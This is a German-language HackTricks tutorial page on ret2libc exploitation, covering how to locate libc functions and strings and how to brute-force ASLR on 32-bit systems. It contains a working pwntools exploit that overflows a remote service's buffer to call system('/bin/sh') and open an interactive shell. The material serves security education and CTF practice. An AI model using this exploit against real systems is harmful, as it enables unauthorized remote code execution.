.. | ||
rop-leaking-libc-address | ||
README.md |
Ret2lib
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merch
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.
Grundlegende Informationen
Die Essenz von Ret2Libc besteht darin, den Ausführungsfluss eines anfälligen Programms auf eine Funktion in einer gemeinsam genutzten Bibliothek (z. B. system, execve, strcpy) umzuleiten, anstatt ausführbaren Shellcode auf dem Stapel auszuführen. Der Angreifer erstellt eine Nutzlast, die die Rückkehradresse auf dem Stapel so ändert, dass sie auf die gewünschte Bibliotheksfunktion zeigt, und gleichzeitig dafür sorgt, dass alle erforderlichen Argumente gemäß der Aufrufkonvention korrekt eingerichtet sind.
Beispiel-Schritte (vereinfacht)
- Ermitteln Sie die Adresse der zu aufrufenden Funktion (z. B. system) und den auszuführenden Befehl (z. B. /bin/sh)
- Generieren Sie eine ROP-Kette, um das erste Argument zu übergeben, das auf den Befehlsstring zeigt, und den Ausführungsfluss zur Funktion zu lenken
Adressen finden
- Angenommen, die verwendete
libc
ist diejenige des aktuellen Rechners, können Sie herausfinden, wo sie im Speicher geladen wird mit:
{% code overflow="wrap" %}
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
{% endcode %}
Wenn Sie überprüfen möchten, ob ASLR die Adresse von libc ändert, können Sie Folgendes tun:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur
system
-Funktion mit folgendem Befehl zu finden:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Wenn die verwendete libc bekannt ist, ist es auch möglich, den Offset zur Zeichenkette
/bin/sh
-Funktion mit folgendem Befehl zu finden:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Mit gdb-peda / GEF verwenden
Wenn die verwendete libc bekannt ist, ist es auch möglich, Peda oder GEF zu verwenden, um die Adresse der Funktion system, der Funktion exit und des Strings /bin/sh
zu erhalten:
p system
p exit
find "/bin/sh"
Verwendung von /proc/<PID>/maps
Wenn der Prozess jedes Mal, wenn Sie mit ihm sprechen, Kinder erstellt (Netzwerkserver), versuchen Sie, diese Datei zu lesen (wahrscheinlich müssen Sie root sein).
Hier können Sie genau herausfinden, wo die libc im Prozess geladen ist und wo sie für jedes Kind des Prozesses geladen wird.
In diesem Fall wird sie bei 0xb75dc000 geladen (Dies wird die Basisadresse der libc sein)
Unbekannte libc
Es könnte möglich sein, dass Sie nicht wissen, welche libc die Binärdatei lädt (weil sie sich möglicherweise auf einem Server befindet, auf den Sie keinen Zugriff haben). In diesem Fall könnten Sie die Schwachstelle ausnutzen, um einige Adressen zu leaken und herauszufinden, welche libc-Bibliothek verwendet wird:
{% content-ref url="rop-leaking-libc-address/" %} rop-leaking-libc-address {% endcontent-ref %}
Und Sie können eine pwntools-Vorlage dafür finden unter:
{% content-ref url="rop-leaking-libc-address/rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
Umgehung von ASLR in 32 Bit
Diese Brute-Force-Angriffe sind nur für 32-Bit-Systeme nützlich.
- Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse der libc per Brute-Force anzugreifen (nützlich für 32-Bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der
libc
-Funktionusleep
durch Brute-Force zu ermitteln und dabei 10 als Argument zu übergeben. Wenn der Server zu einem bestimmten Zeitpunkt 10 Sekunden länger braucht, um zu antworten, haben Sie die Adresse dieser Funktion gefunden.
Ein Gadget
{% content-ref url="../../one-gadget.md" %} one-gadget.md {% endcontent-ref %}
x86 Ret2lib Codebeispiel
In diesem Beispiel ist das ASLR-Brute-Force in den Code integriert und die verwundbare Binärdatei befindet sich auf einem Remote-Server:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib Code Beispiel
Überprüfen Sie das Beispiel unter:
{% content-ref url="../rop-return-oriented-programing.md" %} rop-return-oriented-programing.md {% endcontent-ref %}
Ret-into-printf (oder puts)
Dies ermöglicht das Leaken von Informationen aus dem Prozess, indem printf
/puts
mit spezifischen Daten als Argument aufgerufen wird.
Ret2printf
Dies bedeutet im Grunde, einen Ret2lib zu missbrauchen, um ihn in eine printf
-Formatstrings-Verwundbarkeit zu verwandeln, indem der ret2lib
verwendet wird, um printf mit den Werten aufzurufen, um sie auszunutzen (klingt nutzlos, ist aber möglich):
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Weitere Beispiele & Referenzen
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, gegeben ein Leak zur Adresse einer Funktion in libc, unter Verwendung eines One-Gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 Bit, ASLR aktiviert, aber kein PIE, der erste Schritt besteht darin, einen Überlauf zu füllen, bis das Byte 0x00 des Canary erreicht ist, um dann puts aufzurufen und es zu leaken. Mit dem Canary wird ein ROP-Gadget erstellt, um puts aufzurufen und die Adresse von puts aus dem GOT zu leaken, und dann ein ROP-Gadget, um
system('/bin/sh')
aufzurufen. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 Bit, ASLR aktiviert, kein Canary, Stack-Überlauf in main von einer Unterfunktion. ROP-Gadget, um puts aufzurufen und die Adresse von puts aus dem GOT zu leaken, und dann ein One-Gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 Bit, kein PIE, kein Canary, kein relro, nx. Verwendet die write-Funktion, um die Adresse von write (libc) zu leaken und ruft ein One-Gadget auf.